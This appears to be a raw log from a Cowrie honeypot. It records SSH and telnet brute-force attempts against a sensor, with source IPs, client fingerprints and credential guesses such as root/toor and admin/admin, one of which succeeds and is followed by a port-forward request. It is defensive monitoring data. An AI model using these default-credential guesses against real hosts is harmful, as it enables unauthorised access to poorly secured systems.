{"eventid":"cowrie.login.failed","username":"root","password":"undefined#8VCPU32GBAMD","message":"login attempt [root/undefined#8VCPU32GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:36:19.484145Z","src_ip":"143.20.185.207","session":"8de178f246f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:36:20.601123Z","src_ip":"143.20.185.207","session":"8de178f246f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.10","src_port":48922,"dst_ip":"10.17.0.5","dst_port":22,"session":"33f8ac4f4e09","protocol":"ssh","message":"New connection: 91.92.40.10:48922 (10.17.0.5:22) [session: 33f8ac4f4e09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:36:51.197269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:36:51.588016Z","src_ip":"91.92.40.10","session":"33f8ac4f4e09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:36:51.590777Z","src_ip":"91.92.40.10","session":"33f8ac4f4e09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"system","message":"login attempt [root/system] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:36:53.024288Z","src_ip":"91.92.40.10","session":"33f8ac4f4e09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:36:54.210332Z","src_ip":"91.92.40.10","session":"33f8ac4f4e09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":48704,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa6ae665ba10","protocol":"ssh","message":"New connection: 176.53.159.196:48704 (159.203.135.109:22) [session: aa6ae665ba10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:37:03.629610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:37:03.632724Z","src_ip":"176.53.159.196","session":"aa6ae665ba10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:37:03.733040Z","src_ip":"176.53.159.196","session":"aa6ae665ba10","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:37:04.041137Z","src_ip":"176.53.159.196","session":"aa6ae665ba10","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:37:04.144481Z","session":"aa6ae665ba10","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:37:04.246293Z","src_ip":"176.53.159.196","session":"aa6ae665ba10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:37:04.348129Z","src_ip":"176.53.159.196","session":"aa6ae665ba10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":54920,"dst_ip":"159.203.135.109","dst_port":22,"session":"9da4a939dd1e","protocol":"ssh","message":"New connection: 38.93.206.2:54920 (159.203.135.109:22) [session: 9da4a939dd1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:37:08.397551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:37:08.401227Z","src_ip":"38.93.206.2","session":"9da4a939dd1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:37:08.453936Z","src_ip":"38.93.206.2","session":"9da4a939dd1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"houses","message":"login attempt [root/houses] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:37:08.608654Z","src_ip":"38.93.206.2","session":"9da4a939dd1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:37:09.660912Z","src_ip":"38.93.206.2","session":"9da4a939dd1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":44020,"dst_ip":"10.17.0.5","dst_port":23,"session":"74c43c97e2e6","protocol":"telnet","message":"New connection: 49.88.156.34:44020 (10.17.0.5:23) [session: 74c43c97e2e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:37:41.234306Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.197.250","src_port":50290,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e1509cea8c3","protocol":"ssh","message":"New connection: 192.169.197.250:50290 (10.17.0.5:22) [session: 3e1509cea8c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:38:07.248370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:38:07.252509Z","src_ip":"192.169.197.250","session":"3e1509cea8c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:38:07.317438Z","src_ip":"192.169.197.250","session":"3e1509cea8c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@#$%^&*(","message":"login attempt [root/admin@#$%^&*(] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:38:07.512474Z","src_ip":"192.169.197.250","session":"3e1509cea8c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:38:08.580426Z","src_ip":"192.169.197.250","session":"3e1509cea8c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":51522,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a2da4b2cd17","protocol":"telnet","message":"New connection: 107.6.151.170:51522 (159.203.135.109:23) [session: 4a2da4b2cd17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:38:13.777591Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.10","src_port":35266,"dst_ip":"10.17.0.5","dst_port":22,"session":"b24c4f925faa","protocol":"ssh","message":"New connection: 91.92.40.10:35266 (10.17.0.5:22) [session: b24c4f925faa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:38:22.095577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:38:22.267503Z","src_ip":"91.92.40.10","session":"b24c4f925faa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:38:22.270155Z","src_ip":"91.92.40.10","session":"b24c4f925faa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor","message":"login attempt [root/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:38:23.454401Z","src_ip":"91.92.40.10","session":"b24c4f925faa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:38:24.629027Z","src_ip":"91.92.40.10","session":"b24c4f925faa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.11747598648071,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:38:45.894956Z","src_ip":"107.6.151.170","session":"4a2da4b2cd17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":35564,"dst_ip":"159.203.135.109","dst_port":23,"session":"54b3350473e5","protocol":"telnet","message":"New connection: 170.64.224.25:35564 (159.203.135.109:23) [session: 54b3350473e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:39:14.908134Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":41346,"dst_ip":"10.17.0.5","dst_port":22,"session":"81ff3933677b","protocol":"ssh","message":"New connection: 91.92.40.176:41346 (10.17.0.5:22) [session: 81ff3933677b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:39:16.919605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:39:16.923418Z","src_ip":"91.92.40.176","session":"81ff3933677b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:39:17.010050Z","src_ip":"91.92.40.176","session":"81ff3933677b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"qwerty","message":"login attempt [pi/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:39:17.254331Z","src_ip":"91.92.40.176","session":"81ff3933677b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:39:18.337190Z","src_ip":"91.92.40.176","session":"81ff3933677b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":60620,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9f4611820f1","protocol":"ssh","message":"New connection: 103.27.238.114:60620 (10.17.0.5:22) [session: b9f4611820f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:39:26.709290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:39:26.713407Z","src_ip":"103.27.238.114","session":"b9f4611820f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:39:26.981334Z","src_ip":"103.27.238.114","session":"b9f4611820f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bomba","message":"login attempt [root/bomba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:39:27.785950Z","src_ip":"103.27.238.114","session":"b9f4611820f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:39:29.056852Z","src_ip":"103.27.238.114","session":"b9f4611820f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":44570,"dst_ip":"159.203.135.109","dst_port":23,"session":"11cd4e6e309f","protocol":"telnet","message":"New connection: 107.6.151.170:44570 (159.203.135.109:23) [session: 11cd4e6e309f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:39:40.716089Z"}
{"eventid":"cowrie.session.closed","duration":26.060993432998657,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:39:40.969023Z","src_ip":"170.64.224.25","session":"54b3350473e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00194978713989,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:39:41.236104Z","src_ip":"49.88.156.34","session":"74c43c97e2e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.10","src_port":52004,"dst_ip":"10.17.0.5","dst_port":22,"session":"00aef2157f67","protocol":"ssh","message":"New connection: 91.92.40.10:52004 (10.17.0.5:22) [session: 00aef2157f67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:39:56.069710Z"}
